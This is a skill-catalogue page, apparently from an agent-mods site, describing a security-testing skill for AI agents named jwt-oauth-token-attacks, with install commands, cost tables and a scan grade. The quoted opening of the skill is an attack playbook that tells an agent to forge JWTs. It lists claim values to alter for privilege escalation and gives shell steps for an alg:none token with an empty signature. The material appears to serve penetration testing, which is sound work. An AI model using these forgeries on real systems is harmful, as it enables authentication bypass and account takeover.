Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ainpx agentmods add skills/securitytalent/bugskill-ai/jwt-oauth-token-attacksWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/jwt-oauth-token-attacks)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/jwt-oauth-token-attacks"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/jwt-oauth-token-attacks/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/jwt-oauth-token-attacks"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/jwt-oauth-token-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00039 | $0.02518 |
| Opus 5.5 | $0.00016 | $0.01007 |
| Sonnet 5.5 | $0.00008 | $0.00504 |
| Haiku 4.5 | $0.00004 | $0.00252 |
Grade A, and why
jwt-oauth-token-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to jwt-oauth-token-attacks — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 302 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.
0. RELATED ROUTING
Use this file for token-centric attacks and flow abuse. Also load:
- oauth oidc misconfiguration for redirect URI, state, nonce, PKCE, and account-binding validation
- cors cross origin misconfiguration when browser-readable APIs or token leakage may exist cross-origin
- saml sso assertion attacks when the target uses enterprise SSO outside OAuth/OIDC
1. JWT ANATOMY
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
HEADER PAYLOAD SIGNATURE
Decode in terminal:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}
echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}
Common claim targets (modify to escalate):
{
"role": "admin",
"isAdmin": true,
"userId": OTHER_USER_ID,
"email": "[email protected]",
"sub": "admin",
"permissions": ["admin", "write", "delete"],
"tier": "premium"
}
2. ATTACK 1 — ALGORITHM NONE (alg:none)
Server doesn't validate signature when algorithm is "none"/"None"/"NONE":
# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header
# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 302 lines · 39 tokens per session scan A 2a420f0f789b
jwt-oauth-token-attacks is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 39 tokens to every session and 2,518 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 0 findings. It is 100% identical to jwt-oauth-token-attacks, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
user-research-cookiy
End-to-end user research assistant — qualitative and quantitative. Use this skill whenever the user mentions user research, user interviews, discussion guides, interview guides, research plans, qualitative research, quantitative research, user surveys, survey design, usability studies, participant recruitment…
email-marketing-bible
Email marketing operating manual for AI agents, with hard send-safety gates. Use when someone plans, writes, designs, audits or sends an email campaign, newsletter, welcome series, abandoned-cart, post-purchase or win-back flow; builds a list or segment; drives Klaviyo, Mailchimp, Brevo, Kit or any ESP through MCP, an…
globalpercent
GlobalPercent — build a global-macro-probability panel for an investment research system. Merges public probability data from prediction markets (Polymarket + Kalshi), classifies every market into macro modules (monetary policy / macro economy / AI / etc.), and shows the whole market's expected-probability state at a…
ui-ux-design-pro
Senior-level UI/UX design expert for building data-driven, premium production interfaces. Use when you need to: 1. Design complex applications (dashboards, SaaS, AI tools) from scratch 2. Generate comprehensive design systems (tokens, palettes, typography) 3. Audit existing UI for quality, accessibility, and "craft"…
playwright-best-practices
Use when writing Playwright tests, fixing flaky tests, debugging failures, implementing Page Object Model, configuring CI/CD, optimizing performance, mocking APIs, handling authentication or OAuth, testing accessibility (axe-core), file uploads/downloads, date/time mocking, WebSockets, geolocation, permissions…
open-map-stack
Use textual agent instructions for GIS and geospatial work: source discovery and provenance, vector/raster/point-cloud pipelines, CRS and metric analysis, spatial SQL, routing and isochrones, QGIS projects, tile generation, and web maps. Use advanced tools and formats such as OSM, Overture, STAC, Sentinel/Landsat…